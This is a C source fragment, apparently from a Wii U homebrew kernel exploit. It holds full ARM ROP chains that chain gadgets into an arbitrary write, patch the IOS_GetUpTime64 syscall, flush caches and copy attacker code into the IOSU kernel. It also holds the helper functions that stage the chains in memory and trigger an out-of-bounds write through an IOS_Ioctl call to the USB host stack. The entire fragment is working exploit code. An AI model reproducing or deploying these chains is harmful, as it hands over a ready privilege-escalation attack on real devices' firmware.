|
0x0, // 0xEC
|
|
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
|
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
|
0x0, // 0xF8
|
|
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x100
|
|
0x0, // 0x104
|
|
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x10C
|
|
0x0, // 0x110
|
|
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE1A00004, // 0x11C value: MOV R0, R4
|
|
0x0, // 0x120
|
|
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
|
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x12C
|
|
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x134
|
|
0x0, // 0x138
|
|
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
|
0x0, // 0x140
|
|
0x0, // 0x144
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0x00000000, // 0x150 value: NOP
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
|
0x0, // 0x154
|
|
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
|
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
|
0x0, // 0x160
|
|
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x168
|
|
0x0, // 0x16C
|
|
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x174
|
|
0x0, // 0x178
|
|
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE1A03004, // 0x184 value: MOV R3, R4
|
|
0x0, // 0x188
|
|
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
|
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x194
|
|
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x19C
|
|
0x0, // 0x1A0
|
|
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x1A8
|
|
0x0, // 0x1AC
|
|
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
|
0x0, // 0x188
|
|
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
|
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x194
|
|
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x19C
|
|
0x0, // 0x1A0
|
|
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x1A8
|
|
0x0, // 0x1AC
|
|
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
|
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
|
0x0, // 0x1BC
|
|
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
|
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
|
0x0, // 0x1C8
|
|
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x1D0
|
|
0x0, // 0x1D4
|
|
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
|
0x0, // 0x1DC
|
|
0x0, // 0x1E0
|
|
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
|
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
|
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
|
0x0, // 0x1E0
|
|
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
|
0x0, // 0x1DC
|
|
0x0, // 0x1E0
|
|
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
|
ARM_CODE_BASE, // 0x1E8 our code destination address
|
|
0x0, // 0x1EC
|
|
0x0, // 0x1F0
|
|
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
|
0x0, // 0x1F8
|
|
sizeof(arm_kernel_bin), // 0x1FC our code size
|
|
0x0, // 0x200
|
|
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
|
0x01E40000, // 0x208 our code source location
|
|
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
|
0x0, // 0x210
|
|
0x0, // 0x214
|
|
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
|
0x0,
|
|
0x0,
|
|
0x101312D0,
|
|
};
|
|
|
|
static const int second_chain[] = {
|
|
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
|
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
|
0x0, // 0x08
|
|
0x0, // 0x0C
|
|
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
|
0x01E30000, // 0x14 source
|
|
sizeof(final_chain), // 0x18 length
|
|
0x0, // 0x1C
|
|
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
|
0x0, // 0x24
|
|
0x0, // 0x28
|
|
0x101236f3, // 0x2C POP {R1-R7,PC}
|
|
0x0, // 0x30 arg
|
|
0x101001DC, // 0x34 stackptr
|
|
0x68, // 0x38 stacksize
|
|
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
|
0x0, // 0x40
|
|
0x0, // 0x44
|
|
0x0, // 0x48
|
|
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
|
0x0, // 0x50
|
|
0x0, // 0x54
|
|
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
|
0x0, // 0x5C
|
|
0x0, // 0x60
|
|
IOS_CREATETHREAD, // 0x64
|
|
0x1, // 0x68 priority
|
|
0x2, // 0x6C flags
|
|
0x0, // 0x70
|
|
0x0, // 0x74
|
|
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
|
0x0, // 0x7C
|
|
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
|
0x0, // 0x84
|
|
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
|
0x0,
|
|
0x0,
|
|
0x0,
|
|
0x00110000 - 0x44, // 0x8C
|
|
0x00110010, // 0x90
|
|
0x0, // 0x94
|
|
0x0, // 0x98
|
|
0x0, // 0x9C
|
|
0x0, // 0xA0
|
|
0x0, // 0xA4
|
|
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
|
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
|
0x0,
|
|
0x0,
|
|
0x1012EA68, // 0xAC stack pivot
|
|
};
|
|
|
|
static void uhs_exploit_init(unsigned int coreinit_handle)
|
|
{
|
|
void (*DCStoreRange)(const void *addr, uint32_t length);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
|
|
|
//! Clear out our used MEM1 area
|
|
memset((void*)0xF5E00000, 0, 0x00070000);
|
|
DCStoreRange((void*)0xF5E00000, 0x00070000);
|
|
|
|
//!------Variables used in exploit------
|
|
int *pretend_root_hub = (int*)0xF5E60640;
|
|
int *ayylmao = (int*)0xF5E00000;
|
|
//!-------------------------------------
|
|
|
|
ayylmao[5] = 1;
|
|
ayylmao[8] = 0x1E00000;
|
|
|
|
memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain));
|
|
memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain));
|
|
memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin));
|
|
memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin));
|
|
|
|
pretend_root_hub[33] = 0x1E00000;
|
|
pretend_root_hub[78] = 0;
|
|
|
|
//! Store current CPU cache into main memory for IOSU to read
|
|
DCStoreRange(ayylmao, 0x840);
|
|
|
|
DCStoreRange((void*)0xF5E20000, sizeof(second_chain));
|
|
DCStoreRange((void*)0xF5E30000, sizeof(final_chain));
|
|
DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin));
|
|
DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin));
|
|
|
|
DCStoreRange(pretend_root_hub, 0x160);
|
|
}
|
|
|
|
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val)
|
|
{
|
|
void (*DCStoreRange)(const void *addr, uint32_t length);
|
|
void (*OSSleepTicks)(uint64_t ticks);
|
|
int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
|
|
|
//!------Variables used in exploit------
|
|
int *ayylmao = (int*)0xF5E00000;
|
|
//!-------------------------------------
|
|
|
|
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
|
DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read
|
|
OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU
|
|
//! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640,
|
|
//! which is the physical address of 0xF5E60640 for us, right at the end of MEM1
|
|
int request_buffer[] = { -(0xB349B), val };
|
|
int output_buffer[32];
|
|
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
|
}
|